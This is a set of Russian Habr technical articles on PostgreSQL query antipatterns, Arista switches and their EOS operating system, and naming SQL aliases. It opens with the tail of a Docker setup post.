5f8d2cb3745a ensemble-simple "/ccontainermain -..." 18 seconds ago Up 17 seconds 0.0.0.0:1979->1972/tcp, 0.0.0.0:57779->57772/tcp keen_carson
```
Теперь можно открывать портал управления по ссылке <http://localhost:57779/csp/sys/UtilHome.csp>. Наша новая система работает и доступна.
Исходники можно найти на гитхабе [здесь](https://github.com/daimor/docker-intersystems-examples/tree/master/simple). | https://habr.com/ru/post/323746/ | null | ru | null |
# PostgreSQL Antipatterns: «где-то я тебя уже видел...»
Иногда при анализе производительности запроса на предмет "куда ушло все время" возникает стойкое ощущение deja vu, что вот **ровно этот же кусок плана** ты уже где-то раньше видел...
Пролистываешь выше - и таки-да, вот он рядом - но почему он там оказался, и как выйти из Матрицы самому и помочь коллегам?
Wake up, Neo. The Matrix has you.Одна запись - несколько полей
-----------------------------
Возьмем простую и достаточно типовую бизнес-задачу - показать последний документ по каждому из некоторого набора покупателей:
```
CREATE TABLE doc(
doc_id
serial
PRIMARY KEY
, customer_id
integer
, dt
date
, sum
numeric(32,2)
);
CREATE INDEX ON doc(customer_id, dt DESC);
INSERT INTO doc(
customer_id
, dt
, sum
)
SELECT
(random() * 1e5)::integer
, now() - random() * '1 year'::interval
, random() * 1e6
FROM
generate_series(1, 1e5) id;
```
Для каждого клиента мы хотим иметь в результате исполнения запроса все значимые поля этого "последнего" документа. Что ж, "как слышится, так и пишется":
```
SELECT
id customer_id
, (SELECT doc_id FROM doc WHERE customer_id = id ORDER BY dt DESC LIMIT 1) doc_id
, (SELECT dt FROM doc WHERE customer_id = id ORDER BY dt DESC LIMIT 1) dt
, (SELECT sum FROM doc WHERE customer_id = id ORDER BY dt DESC LIMIT 1) sum
FROM
unnest(ARRAY[1,2,4,8,16,32,64]) id;
```
И... мы героически вытаскиваем одну и ту же запись из таблицы трижды! [[посмотреть на explain.tensor.ru]](https://explain.tensor.ru/archive/explain/8980192ab1a9cf98151cfdc4baf9ec78:0:2021-08-24)
Троекратное "ура!" разработчику от сервера### Возврат целой записи таблицы
И вот зачем мы каждое поле отдельно ищем? Мало того, что [это раздувает размер запроса](https://habr.com/ru/post/573214/), так еще и выполняется каждый раз заново!
Давайте вернем из вложенного запроса сразу всю запись (только `id` мы теперь не будем переименовывать, чтобы не получилось два `customer_id` в результате):
```
SELECT
id
, (
SELECT
doc -- это запись всей таблицы
FROM
doc
WHERE
customer_id = id
ORDER BY
dt DESC
LIMIT 1
).* -- разворачиваем запись в отдельные поля
FROM
unnest(ARRAY[1,2,4,8,16,32,64]) id;
```
И... теперь [вместо 3 циклов у нас стало 4](https://explain.tensor.ru/archive/explain/41b18a5171f4a17af735a1d083012dce:0:2021-08-24) - по одному на каждое поле извлекаемой вложенным запросом записи, включая `customer_id` (причем `Index Only Scan`, когда `dt` можно было вернуть прямо из индекса, превратился в менее эффективный, зато полностью совпадающий с остальными, `Index Scan`):
### Экранируем запись с помощью CTE
```
WITH dc AS (
SELECT
id
, (
SELECT
doc
FROM
doc
WHERE
customer_id = id
ORDER BY
dt DESC
LIMIT 1
) doc -- это одно поле-запись
FROM
unnest(ARRAY[1,2,4,8,16,32,64]) id
)
SELECT
id
, (doc).* -- разворачиваем в отдельные поля
FROM
dc;
```
И, если вы используете версию PostgreSQL ниже 12-й, то все отлично - теперь индекс сканируется однократно (точнее, [7 раз вместо 28](https://explain.tensor.ru/archive/explain/f2ca16443f985984cd74a71d7cda7670:0:2021-08-24)):
А вот [начиная с PostgreSQL 12, планировщик "разворачивает" содержимое CTE](https://habr.com/ru/company/postgrespro/blog/451344/), сводя все к тому же плану с 4 `SubPlan`. И чтобы он этого не делал, а наш "хак" продолжил работать, для CTE необходимо указать ключевое слово `MATERIALIZED`:
```
WITH dc AS MATERIALIZED (
...
```
### Незаслуженно забываемый LATERAL
Глядя на все больше обрастающий "хаками" и становящийся менее читабельным код, невольно возникает вопрос - неужели нельзя как-то попроще?
И такой способ есть - это `LATERAL`-подзапрос, выполняющийся отдельно для каждой записи выборки, собранной на предыдущих шагах (в нашем случае это набор из 7 строк `id`):
```
SELECT
*
FROM
unnest(ARRAY[1,2,4,8,16,32,64]) id
LEFT JOIN
LATERAL(
SELECT
*
FROM
doc
WHERE
customer_id = id
ORDER BY
dt DESC
LIMIT 1
) doc
ON TRUE; -- LEFT JOIN всегда должен иметь ON-condition
```
Обратите внимание на комбинацию `LEFT JOIN LATERAL ... ON TRUE` - это неизбежная плата, если мы хотим обязательно получить запись по каждому из 7 наших `id`, когда документов по конкретному покупателю нет совсем.
Вот что LATERAL животворящий делает не только ищет запись однократно, но **еще и в 1.5 раза быстрее** из-за отсутствия необходимости формировать и читать CTE!
Один источник - разные условия
------------------------------
В предыдущем случае все `SubPlan` делали ровно одно и то же - искали одну и ту же запись по одинаковому условию. Но что **если условия у нас окажутся разными**?
Добавим к нашим документам пару полей - сотрудника-автора и сотрудника-исполнителя, которые указывают на таблицу с именами сотрудников:
```
ALTER TABLE doc
ADD COLUMN emp_author integer
, ADD COLUMN emp_executor integer;
-- проставляем авторов/исполнителей
UPDATE
doc
SET
emp_author = (random() * 1e3)::integer
, emp_executor = (random() * 1e3)::integer;
CREATE TABLE employee(
emp_id
serial
PRIMARY KEY
, emp_name
varchar
);
-- генерируем "сотрудников"
INSERT INTO employee(
emp_name
)
SELECT
(
SELECT
string_agg(chr(((random() * 94) + 32)::integer), '')
FROM
generate_series(1, (random() * 16 + i % 16)::integer)
)
FROM
generate_series(1, 1e3) i;
```
А теперь давайте попробуем получить имена автора/исполнителя для тех документов, которые мы искали на первом шаге - мы ведь уже знаем, что нам поможет `LATERAL`:
```
SELECT
*
FROM
unnest(ARRAY[1,2,4,8,16,32,64]) id
LEFT JOIN
LATERAL(
SELECT
*
FROM
doc
WHERE
customer_id = id
ORDER BY
dt DESC
LIMIT 1
) doc
ON TRUE
LEFT JOIN
LATERAL( -- извлекаем автора
SELECT
emp_name emp_a
FROM
employee
WHERE
emp_id = doc.emp_author
LIMIT 1
) emp_a
ON TRUE
LEFT JOIN
LATERAL( -- извлекаем исполнителя
SELECT
emp_name emp_e
FROM
employee
WHERE
emp_id = doc.emp_executor
LIMIT 1
) emp_e
ON TRUE;
```
> Небольшое замечание: пожалуйста, не забывайте `LIMIT 1` во вложенных запросах, когда вам необходима только одна запись, даже если уверены, что PostgreSQL "знает", что поиск идет по уникальному первичному ключу. Потому что иначе ничто не помешает ему выбрать [вариант с](https://explain.tensor.ru/archive/explain/bdfbe6b982fc6a267c06c05fa172d8b7:0:2021-08-24) `Seq Scan` [по таблице](https://explain.tensor.ru/archive/explain/bdfbe6b982fc6a267c06c05fa172d8b7:0:2021-08-24).
>
>
Все нормально, но [пара узлов в плане](https://explain.tensor.ru/archive/explain/28c811a43ec9886484bd487c186ae826:0:2021-08-24) оказывается подозрительно похожа друг на друга:
Можно ли [свести эти два прохода по индексу в один](https://explain.tensor.ru/archive/explain/7fe5fb8b4f891df19c5ea78623d730b8:0:2021-08-24)? Вполне! Используем для этого **PIVOT с помощью условных агрегатов**:
```
SELECT
*
FROM
unnest(ARRAY[1,2,4,8,16,32,64]) id
LEFT JOIN
LATERAL(
SELECT
*
FROM
doc
WHERE
customer_id = id
ORDER BY
dt DESC
LIMIT 1
) doc
ON TRUE
LEFT JOIN
LATERAL(
SELECT -- min + FILTER = PIVOT
min(emp_name) FILTER(WHERE emp_id = doc.emp_author) emp_a
, min(emp_name) FILTER(WHERE emp_id = doc.emp_executor) emp_e
FROM
employee
WHERE
emp_id IN (doc.emp_author, doc.emp_executor) -- отбор сразу по обоим ключам
) emp
ON TRUE;
```
> Более подробно про разные нетривиальные варианты использования агрегатов можно почитать в статьях ["SQL HowTo: 1000 и один способ агрегации"](https://habr.com/ru/post/507056/) и ["PostgreSQL Antipatterns: ударим словарем по тяжелому JOIN"](https://habr.com/ru/post/485398/).
>
>
Один Index Scan сразу по набору ключейВпрочем, этот способ стоит использовать с осторожностью, поскольку иногда сама агрегация может стоить дороже остальных вычислений.
Знаете еще другие случаи "клонированных" узлов в планах - поделитесь в комментариях, а у меня на сегодня все.
 | https://habr.com/ru/post/574330/ | null | ru | null |
# Arista. Знакомство
На Хабре нет ни одного поста про коммутаторы компании [Arista Networks](http://www.aristanetworks.com/). При этом [есть несколько комментариев](http://habrahabr.ru/search/?target_type=comments&order_by=relevance&q=arista), по-моему, достаточно положительных по смысловой окраске.
Мне захотелось написать про эту компанию, их оборудование, операционную систему EOS и CLI.
#### Отмазки
Я не являюсь представителем вендора и у меня нет глубоких познаний по всей линейке. Топик носит обзорный характер и отражает моё личное мнение. Для мнений читателей есть комментарии и новые топики.
#### История Arista
Как сообщает книга [Arista Warrior](http://shop.oreilly.com/product/0636920022435.do) и [соответствующий раздел](http://www.aristanetworks.com/en/company/management) сайта, в появлении Arista Networks виновны три ключевые фигуры:
* **Andy Bechtolsheim**
Один из основателей Sun Microsystems. В 1995 он покидает Sun и создает Granite Systems, целью которой является производство высокоскоростных сетевых коммутаторов. В 1996 компания Cisco покупает Granite Systems. Под его руководством в Cisco создается серия коммутаторов Catalyst 4500. Andy покидает Cisco в 2003 и создает Kealia — компания по производству серверов нового поколения, которую в 2004 покупает Sun.
В 2005 он становится одним из основателем Arasta, впоследствии сменившей название на Arista Networks.
* **David Cheriton**
Один из основателей Granite Systems. Главный архитектор микросхем ASIC для линейки Catalyst 4X00 в Cisco. Так же был техническим консультантом для Google, VMware, Tibco, Cisco, Sun и нескольких стартапов.
* **Kenneth Duda**
Первопроходец в высокопроизводительном сетевом ПО и ведущий архитектор EOS в Arista. Он один из авторов спецификаций нескольких сетевых протоколов, например: VXLAN и NVGRE. Был первым наемным сотрудником в Granite Systems и вел разработку ПО для линейки Catalyst 4X00.
**Jayshree Ullal** занимает должность CEO. Она была старшим вице-президентом в Cisco и несла ответственность за линейки Cisco Nexus 7000, Catalyst 4500, и Catalyst 6500. В 2005 года журнал «Network World Magazine» включил её в список «50 самых властных людей» («50 Most Powerful People»).
#### Продуктовая линейка.
Arista Networks [предлагает](http://www.aristanetworks.com/en/products/) только коммутаторы и конечно же сопутствующие товары (кабели питания, трансиверы, сервис и т.п.). Свои свитчи Arista позиционирует для применения в Центрах Обработки Данных (ЦОД).
Краткая свободная таблица (кликабельно) по некоторым параметрам из [Arista Products Quick Reference Guide](http://www.aristanetworks.com/media/system/pdf/AristaProductQuickReferenceGuide.pdf) (параметров больше, например, есть аппаратная поддержка [VXLAN](http://ru.wikipedia.org/wiki/Virtual_Extensible_LAN)):
[](https://habrastorage.org/getpro/habr/post_images/3cb/2c1/c31/3cb2c1c31679e9cd9017628dd4735a0f.jpg)
Компания не производит маршрутизаторы, Wi-Fi AP, устройства SOHO, межсетевые экраны и прочие сетевые устройства.
#### Merchant Silicon
Data Plane («плоскость передачи данных») в коммутаторах Arista построен с использованием интегральных схем специального назначения — [ASIC](http://ru.wikipedia.org/wiki/ASIC).
По типу происхождения ASIC делятся на:
* Custom Silicon — микросхемы, которые обычно разработаны и произведены компанией, которая производит на этих чипах коммутаторы.
* Merchant Silicon — «коммерчески» доступные микросхемы, разработанные и произведенные компанией, которая не производит на них коммутаторы.
Простой пример для аналогии из мира смартфонов:
* Компания HTC не производит CPU для своих смартфонов, но смартфоны собирает и продает на, например, микросхемах Qualcomm. Это пример Merchant Silicon.
* Компания Samsung выпускает как набор микросхем Exynos, так и смартфоны на них. В случае с Samsung — это пример Custom Silicon.
Arista не разрабатывает собственные ASIC, а использует в своих коммутаторах Merchant Silicon от Intel и Broadcom.
С одной стороны, в этом нет ничего уникального. Например, на ASIC StrataXGS Trident II фирмы Broadcom построены следующие коммутаторы некоторых вендоров (вендоры в алфавитном порядке):
* Arista 7050X
* Cisco Nexus 9000
* Extreme Networks Summit X770
* Juniper QFX5100
С другой стороны, при таком подходе на первое место выходят такие параметры коммутатора, как:
* Качество программирования и использования ресурсов ASIC. ASIC — это не просто plug and play, их ресурсами можно программно управлять (в этом заключается гибкость (в некотором диапазоне) использования этих микросхем). От качества алгоритмов и кода зависит поведение коммутатора на трафике.
* Конструкция как внутренняя (выбор (например, вариант CPU, количество и тип ОЗУ) и компоновка элементов на платах, вентиляторы, блоки питания), так и внешняя (количество юнитов, удобство расположения портов и т.д.)
* Качество и удобство ОС и CLI коммутатора.
* Наличие нужных и удобных дополнительных возможностей, реализованные как на основе ASIC, так и программно на RE. При этом необходимо не забывать, что некая функция может поддерживаться в ASIC, но не поддерживаться ОС коммутатора. В этом случае, она просто не будет доступна к использованию. Хуже, когда функция, выполняющая функции Data Plane, реализована не в ASIC, а программно.
Про такие характеристики коммутаторов Arista Networks, как [задержки](http://habrahabr.ru/company/advanserv/blog/206168/#comment_7104958) и работа с буфером, ходят презентации, слухи и еще раз [комментарии на Хабре](http://habrahabr.ru/post/199500/#comment_6921298).
#### EOS
EOS — это модульная операционная система, которая обеспечивает работу коммутаторов Arista. Она одна для всей линейки свитчей не только по названию. Кто обновлял хотя бы раз IOS на коммутаторах Cisco знает, что IOS c3550\*.bin не подойдет в тот коммутатор, где используется c3750\*.bin. А кто работал с Juniper знает, что jinstall-ex-4500\*.tgz не заменит jinstall-ex-4200\*.tgz. У Arista пока получается делать единый файл с ОС для всей линейки. Не главный плюс EOS, но удобный.
EOS базируется на [Fedora](http://ru.wikipedia.org/wiki/Fedora). ОС работает на отдельном CPU (в данный момент — x86), что позволяет разделить Control Plane («плоскость управления» — CPU, EOS) и Data Plane («плоскость передачи данных» — ASIC). Всё это не ново, но есть и архитектурные особенности в EOS, которых нет в ОС других вендоров. Так, например, компоненты, необходимые для работы коммутатора, не обмениваются данными друг с другом напрямую, а делают это только через специальный менеджер-базу — Sysdb. Sysdb является как общей шиной для коммуникации между процессами, так и базой данных для рабочей информации этих процессов. Например, маршрут, пришедший по IGP, перед тем, как попасть в ASIC, передается процессом, отвечающим за IGP, в Sysdb; Sysdb сохраняет его у себя в закромах и передает в процесс, отвечающий за взаимодействие с ASIC.
С помощью работы через Sysdb получается обеспечить большую выживаемость и стабильность. Например, что-то произошло с сервисом, отвечающим за SNMP (например, сложносформированные данные в запросе вызвали сбой), и он умер. Менеджер процессов (ProcMgr) автоматически перезапускает сервис SNMP. После запуска все сервисы обращаются к Sysdb и, если там уже есть их данные, то они их восстанавливают и продолжают с ними работать.
При традиционном построении ОС (в том числе для сетевых устройств) компоненты, службы и сервисы передают данные между собой напрямую. Перезапуск или «падение» процесса-сервиса влечет за собой потерю всех его рабочих данных (маршрутов, статистики и прочего), а так же может сказаться на других сервисах, с которыми невезучий процесс работал и обменивался данными: они могут тоже «упасть» или потерять состояния, необходимые для работы.
Схематичная структура «традиционной ОС» и Arista EOS:
| | |
| --- | --- |
(*картинки из* [«EOS Architecture Whitepaper»](http://www.aristanetworks.com/media/system/pdf/EOSWhitepaper.pdf).)
Подобное устройство EOS не гарантирует полную устойчивость и безотказность, но все же это лучше, чем ничего. А еще с помощью функционирования через Sysdb реализован ISSU сервисов.
##### CLI
Cli (в EOS у всех запускаемых приложений от Arista имена с заглавной буквы) тоже работает через Sysdb.
**Команды CLI написаны на Python:**
```
[admin@localhost ~]$ cd /usr/lib/python2.7/site-packages/CliPlugin/
[admin@localhost CliPlugin]$ ls -a *Cli*py
AaaCli.py CliSchedulerCli.py FaultInjectionCli.py IraIpCli.py MlagShowCli.py PimCli.py RipShowTechCli.py TapAggIntfCli.py
AclCli.py ClockCli.py FhrpCli.py IraIpIntfCli.py MlagTunnelCli.py PimShowTechCli.py RouteEventMonCli.py TcpdumpCli.py
AclCliRules.py CpuFabricCli.py FileCli.py IraShowTechCli.py MlagWarningCli.py PmbusCli.py RouteMapCli.py TechSupportCli.py
AgentCli.py DcbxCli.py FruCli.py IraVrfCli.py ModuleCli.py PortSecCli.py RoutingBgpCli.py TrackingCli.py
AgentPingCli.py DebugMessageCli.py IgmpCli.py LagCli.py ModuleIntfCli.py PowerCli.py RoutingIsisCli.py UplinkFailureDetectionCli.py
AgentResourceCli.py DebuggingCli.py IgmpProfileCli.py LagIntfCli.py MoreCli.py PowerDiagsCli.py RoutingOspf3Cli.py VersionCli.py
AgentShutdownCli.py DhcpRelayHelperCli.py IgmpShowTechCli.py LagIntfMlagCli.py MrouteCli.py PsmiCli.py RoutingOspfCli.py VlanCli.py
ArpEventMonCli.py DiagCli.py IgmpSnoopingCli.py LagShowTechCli.py MrouteEtbaCli.py PtpCli.py RoutingRipCli.py VlanIntfCli.py
ArpIp6Cli.py DonkeyCli.py IgmpSnoopingDebugCli.py LanzCli.py MrouteEventMonCli.py QosCli.py SectionCliLib.py VmTracerCli.py
ArpIpCli.py EbraEthIntfCli.py IgmpSnoopingEtbaCli.py LanzIntfCli.py MrouteShowTechCli.py RadiusCli.py SendCli.py VmTracerIntfCli.py
ArpIpIntfCli.py EbraEthIntfCliModel.py IgmpSnoopingEventMonCli.py LauncherDaemonCli.py MsdpCli.py RedSupCli.py SflowCli.py VxlanCli.py
BackupIntfCli.py EbraShowTechCli.py IgmpSnoopingShowTechCli.py LinkFlapCli.py NetworkCli.py RedSupCliFormatSpec.py ShellCli.py WaitForWarmupCli.py
BeaconLedCli.py EbraSnmpCli.py InstallCli.py LldpConfigCli.py NetworkToolsCli.py RedSupFileCli.py SnmpCli.py WatchCli.py
BfdCli.py EmailCli.py IntfCli.py LldpStatusCli.py NetworkUrlCli.py ReloadCauseCli.py StormControlCli.py XcvrCli.py
BootCli.py EnvironmentCli.py IntfRangeCli.py LoggingCli.py OldDhcpRelayCli.py ReloadCli.py StpCli.py XcvrConfigCli.py
BridgingCli.py ErrdisableCli.py IntfSnmpCli.py LoopbackIntfCli.py OpenFlowCli.py ReloadConfigSaveCli.py StpCliLib.py
BridgingCliModel.py EthIntfCli.py Ip6NdCli.py MacEventMonCli.py PciCli.py ReloadElectionCli.py StpIntfCli.py
BridgingEtbaCli.py EthShowTechCli.py IraCommonCli.py MacFlapCli.py PeerIntfCli.py ReloadFileSyncCli.py SupeSessionCli.py
CliCli.py EventCli.py IraEtbaCli.py ManagementActiveIntfCli.py PfcCli.py RibIp6Cli.py SwitchIntfCli.py
CliCliModel.py EventMonCli.py IraIp6Cli.py MirroringCli.py PhyCli.py RibIpCli.py SysMgrCliLib.py
CliError.py ExtensionMgrCli.py IraIp6IntfCli.py MlagConfigCli.py PhyConfigCli.py RibShowTechCli.py TacacsCli.py
[admin@localhost CliPlugin]$ head VlanCli.py
==> VlanCli.py <==
# Copyright (c) 2006-2011 Arista Networks, Inc. All rights reserved.
# Arista Networks, Inc. Confidential and Proprietary.
#-------------------------------------------------------------------------------
# This module implements VLAN configuration. In particular, it provides:
# - the Vlan class
# - the VlanSet class
# - the "config-vlan" mode
# - the "[no] vlan " command
# - the "[no] name " command
```
Пользователям можно изменять как встроенные команды, так и писать свои.
Сама же работа в CLI похожа на работу в CLI Cisco IOS. Первое время кажется, что это копия (не как у Huawei, а именно копия). Но потом становятся видны доработки, которых очень не хватало в IOS.
Например, при изменении параметров группы интерфейсов не нужно слово «range», а номера интерфейсов отображаются слева:
```
localhost(config)#int e1,3,5
localhost(config-if-Et1,3,5)#
localhost(config-if-Et1,3,5)#load-interval 10
```
Или можно посмотреть утилизацию интерфейсов и группы интерфейсов:
```
localhost#sh int e3,e48 | i rate
10 seconds input rate 5.26 Gbps (53.3% with framing overhead), 433507 packets/sec
10 seconds output rate 12.2 Mbps (0.2% with framing overhead), 21824 packets/sec
10 seconds input rate 12.2 Mbps (0.2% with framing overhead), 21826 packets/sec
10 seconds output rate 5.26 Gbps (53.3% with framing overhead), 433546 packets/sec
```
И совершенно не нужно курсором выделять по 3 знака в скорости порта, чтобы понять, с мегабитами или гигабитами мы имеем дело. Но и это не все. EOS отображает утилизацию интерфейса в %.
А еще в EOS можно делать множественные пайпы и использовать программы GNU/Linux:
```
sho run | grep X | grep -v Y | more
```
Не нужно в режиме конфигурации перед командой добавлять «do».
Можно посмотреть diff активной и сохраненной конфигурации:
```
localhost#sh run diffs
--- flash:/startup-config
+++ system:/running-config
@@ -190,9 +190,10 @@
!
interface Loopback0
ipv6 enable
+ ipv6 address 2001:db8:ffff::ffff/128
ipv6 address 2001:db8::1/128
ip address 10.10.10.1/32
- ip address 10.255.255.1/32 secondary
+ ipv6 ospf priority 20
ipv6 ospf 1 area 0.0.0.0
!
interface Management1
@@ -200,7 +201,6 @@
!
interface Vlan10
description test
- shutdown
mtu 9000
ip address 10.1.1.1/24
!
```
Можно выйти в bash и осмотреться:
```
localhost#bash
Arista Networks EOS shell
[admin@localhost ~]$ ls /
bin dev export lib mnt opt proc sbin srv tmp var
boot etc home media monitor persist root selinux sys usr
[admin@localhost ~]$ sudo -s
bash-4.1# cat /proc/cpuinfo | grep name
model name: AMD Turion(tm) II Neo N41H Dual-Core Processor
model name: AMD Turion(tm) II Neo N41H Dual-Core Processor
```
Все ACL задаются именами. Не нужно помнить и путаться в номерах. Для приверженцев старого подхода есть возможность в качестве имен использовать цифры.
И так далее и тому подобное. CLI в EOS не просто копия, это самодостаточная оболочка с удобными возможностями и далеко ушедшая от прародителя.
##### Extensible OS
Слово «Extensible» в «Extensible Operating System» по задумке говорит о [расширяемости](https://eos.aristanetworks.com/wiki/index.php/EOS_Extensibility) функционала ОС. Достигается это за счет возможности установки своих программ, демонов, скриптов на коммутатор. Можно, например, установить и запустить клиент OpenVPN. Или, запустить скрипт на Python, или, даже [ExaBGP](https://github.com/Exa-Networks/exabgp). Можно свои поделки подружить с Sysdb, а потом, собрав в RPM пакеты, разнести по сети.
##### Некоторые другие возможности EOS
* **CloudVision** позволяет подключать коммутаторы Arista к XMPP серверу в роли клиентов. В «чаты» с ними можно писать команды CLI, и свитчи будут отвечать результатами их выполнения. Можно добавить несколько устройств в групповой чат и выполнять команды на всех участниках группы одновременно.
* **Advanced Event Management** — это что-то вроде Cisco EEM или Junos Event Scripts: можно запрограммировать действия (команды CLI, выполнение скриптов) на определенные события (например: упал порт). Подробнее на [сайте](http://www.aristanetworks.com/en/products/eos/aem).
* **Event Monitor** ведет логирование изменений MAC, ARP и таблицы маршрутизации на встроенной флеш памяти в виде базы SQLite.
* **eAPI** (External API) позволяет работать с коммутатором по JSON-RPC: ввод и вывод данных в виде JSON объектов.
* С помощью **Zero Touch Provisioning (ZTP)** можно автоматизировать настройку нового коммутатора. Свитч с настройками по умолчанию грузится в режиме ZTP и пытается получить сетевые настройки по DHCP. Используя *option bootfile-name*, которую тоже можно передать по DHCP, коммутатору можно указать URL для загрузки скрипта (на shell, или, например, на языке встроенного CLI, т.к. он является одним из вариантов shell). Если скрипт скачается успешно, то устройство его выполнит. При этом автоматизация ограничивается, наверное, только фантазией.
* **DirectFlow** позволяет задавать правила (такие, как зеркалирование; изменение приоритета, VLAN, SRC/DST и т.д.), применяемые к трафику (на основе, например, SRC/DST (IP, MAC, port) или номера протокола, или номера VLAN и т.д.) из CLI (и eAPI тоже пойдет). С помощью таких правил можно, например, более выборочно зеркалировать трафик для анализа, в отличии от SPAN. Или отправлять на систему очистки только трафик для нужного IP, а не ставить эту систему в разрыв. Подобный функционал обычно описывают как преимущество при переключении коммутаторов в режим OpenFlow. DirectFlow позволяет применять правила в ASIC без OpenFlow.
#### Aboot
Aboot — это не часть EOS, а загрузчик EOS, что-то вроде Cisco ROMmon.
Хочу о нем рассказать, потому что он очень прост и понятен. Aboot представляет из себя ни что иное, как [BusyBox](http://ru.wikipedia.org/wiki/BusyBox). Все данные, включая образы EOS и логи, хранятся на встроенной флешке. Aboot позволяет получить к ней доступ (а так же доступ к внешним USB накопителям, подключенным к USB портам) и восстановить работоспособность устройства в случае проблем. Вход в Aboot тоже простой: без танцев с бубном, без зажиманий кнопок и посылок странных кодов в консоль — CRTL+C.
**Думаю, это поможет представить простоту и возможности Aboot:**
```
Aboot 2.0.5-430838
Press Control-C now to enter Aboot shell
^CWelcome to Aboot.
Aboot# echo $SHELL
/bin/sh
Aboot#
arp devmem initblockdev overcast-lcd swiinfo
ash df initnetdev ping switch_root
autoboot dirname insmod ping6 switchroot
base64 dmesg iostat pmap sync
basename dosfsck ip poweroff sysinit
blockdev dropbearmulti ipcalc powertop tail
boardinit du kexec ps tar
boot echo kill pwd tee
bootchartd egrep ln readlink telnet
bunzip2 env login realpath tftp
burnK7 expr losetup reboot time
burnMMX false ls recover touch
burnP6 fdisk lsmod reset tr
busybox fgconsole lspci rev traceroute
bzcat fgrep lsusb rm traceroute6
cat find md5sum rmdir true
checkpass flashrom mdev rmmod udhcpc
chgrp flock mkdir route umount
chmod free mkdosfs rx uname
chown fsck.msdos mkfs.vfat scp unxz
chroot fsck.vfat mknod sed unzip
clear fullrecover mktemp setpci vi
cmp grep modinfo sh vmcore-dmesg
cp gunzip more sha1sum wget
cpio halt mount sleep which
cut head mpstat smemcap xz
date help mv ssh xzcat
dbclient hexdump nbd-client stat yes
dd ifconfig netconf stty zcat
devio init nvramtool sum
Aboot# exit
Restarting system.
```
Даже *ipcalc* есть для удобства.
#### Применение
Как было сказано ранее, Arista Networks целится своим оборудованием в ЦОДы и предлагает следующие варианты схем для оптимального использования:
* **Single-Tier «Spline»** — гибрид Leaf («лист») и Spine («корень») — «Spline». Предлагается ставить два резервирующих друг друга коммутатора в центр ряда. Используя, например, коммутаторы типа 7316X, из его 512 портов по 40 Гбит/с можно сделать 2048 портов скорость 10 Гбит/с с помощью специального разветвителя QSFP-SFP+ (переходник с QSFP на 4 SFP+). Из 7250QX-64 получится 256 интерфейсов SFP+ всего в 2 U. Как видно из таблицы характеристик свитчей, коммутация будет без переподписки. Название — чистой воды маркетинг, но при правильном расчете и подходе реализация может быть очень выгодная по цене, простая в построении и обслуживании. Например, раньше для подключения 240 медных портов без резервирования нужно было 5 плат по 48 портов в Cisco Catalyst 6506.
* **Layer 2 / MLAG** — уже ставший «классическим» Leaf and Spine, построенный на MLAG (известен и как MC-LAG). MC-LAG — это *Multi-Chassis Link Aggregation Group*, то есть [LAG](http://ru.wikipedia.org/wiki/%D0%90%D0%B3%D1%80%D0%B5%D0%B3%D0%B0%D1%86%D0%B8%D1%8F_%D0%BA%D0%B0%D0%BD%D0%B0%D0%BB%D0%BE%D0%B2), построенный от двух устройств (в данном случае коммутаторов) к третьему устройству (коммутатору или серверу), при этом третье устройство считает, что подключено к одному устройству. Таким образом можно обойтись без [STP](http://ru.wikipedia.org/wiki/STP) и, что немаловажно, оба канала будут активными (active/active).
* **Layer 3 / ECMP** — вариация «классического» Leaf and Spine, но при этом все линки между всеми устройствами на L3 (IPv4 и/или IPv6). Благодаря отсутствию ограничения на более двух устройств в узлах, эта схема обладает лучшей масштабируемостью, чем предыдущая. Все соединения тоже работают в активном режиме, нет STP. Защита от кольцевания трафика осуществляется на основе протоколов маршрутизации. Балансируется трафик с помощью ECMP.
Ничто не мешает собрать кольцевую или смешанную топологию с использованием STP и его более улучшенных вариантов, включая PVST. Но это скажется отрицательно на недежности, масштабировании и удобстве эксплуатации. | https://habr.com/ru/post/211869/ | null | ru | null |
# Неправильно именуйте непеременные
 Все началось лет 8 назад. Я тогда писал одну программу для математических расчетов, и мой преподаватель указал, что я неверно именую переменные. Он был прав: x, xx, xxx сложновато различить в коде. После переименования они превратились в redSegment, greenSegment, blueSegment (в контексте задачи именование было подходящее). Потом были «Рефакторинг» Фаулера, «Совершенный код» Макконнелла, «Паттерны проектирования» банды четырех… каждый день я погружался все глубже в бездну.
В моей текущей компании никто не упоминает о правильном именовании переменных, это несерьезно. Мы обсуждаем с коллегами стили именования тестов, стоит ли использовать TestCase атрибут в nUnit, спорим о целесообразности #region в C#, пишем кастомные анализаторы для своих проектов и ~~пьем смузи~~ вообще всячески наслаждаемся жизнью.
Осознание проблемы началось с тестового задания одного кандидата (весь код в публикации изменен, NDA).
```
foreach (Dot d in dots)
{
WriteToOutput(d.X, d.Y);
}
```
Никто особо не обратил внимание на переменную d. Собеседование, время, нервы, каждый через это проходил.
Через пару часов я наткнулся на код в sql скрипте
```
select u.* from Users u
```
Еще через несколько минут в соседнем скрипте обнаружился кусок
```
select u.UserName, b.Locked, d.PropertyValueStrings
from Users u
join Bindings b on b.UserId = u.UserId
join Dossiers d on d.UserId = u.UserId
where u.UserName = 'USERNAME'
```
Последовал диалог с автором:
— Почему ты используешь u,b,d вместо нормальных имен?
— Так короче.
Вы знаете, этот аргумент абсолютно верен. Действительно, так короче.
А как насчет
```
select bi.BusinessIdentifir, bia.SSAFA, IsNull(bia.Bullshit, ‘Bullshit’), bis1.*, bis2.*, bis.*
from businessItems bi
inner join businessItemsArtifacts bia on ...
inner join businessItemsSegment bis1 on ...
inner join businessItemsSegment bis2 on ...
inner join businessItemsSegment bis3 on ...
where
bia.Date = @creationDate
and bi.Staus = ‘RFW’
AND
(
(bis1.SignIn = ‘Europe’ and ss2.Limit = 42 and bis3.Connection not in (‘Towel’, ‘Galaxy’))
OR
(bis1.SignIn = ‘USA’ and ss3.Limit = 146 and bis2.Connection not in (‘Trump’, ‘Klinton’))
OR
(bis1.PNH = ‘SP’ and ss2.Limit = 21 and bis3.Connection not in (‘Stan’, ‘Kyle’, 'Cartman'))
)
```
Запрос и так полон специфических констант и фильтров, неужели нужно усложнить его bis1, bis2, bis3?
Но добил меня
```
SELECT
MFID# as MemberId,
TRIM(ACX) as FirstName,
TRIM(ABX) as LastName,
TRIM(FGS) as Suffix,
TRIM(c.DSC) as Country,
TRIM(mm.CCC) as CountryCode,
FROM {0}.mailfl
LEFT OUTER JOIN BDSMTAMDRT.MEMFLT mm ON MFID# = mm.MMID#
LEFT OUTER JOIN BDSMTAMDRT.CTRCOD c ON mm.CCC = c.CCTRY
WHERE mfid# = ?
```
Автор дал вменяемые имена выбираемым полям, но не поименовал таблицы.
Знаете, откуда берется эта привычка у шарпистов? Из учебной литературы.
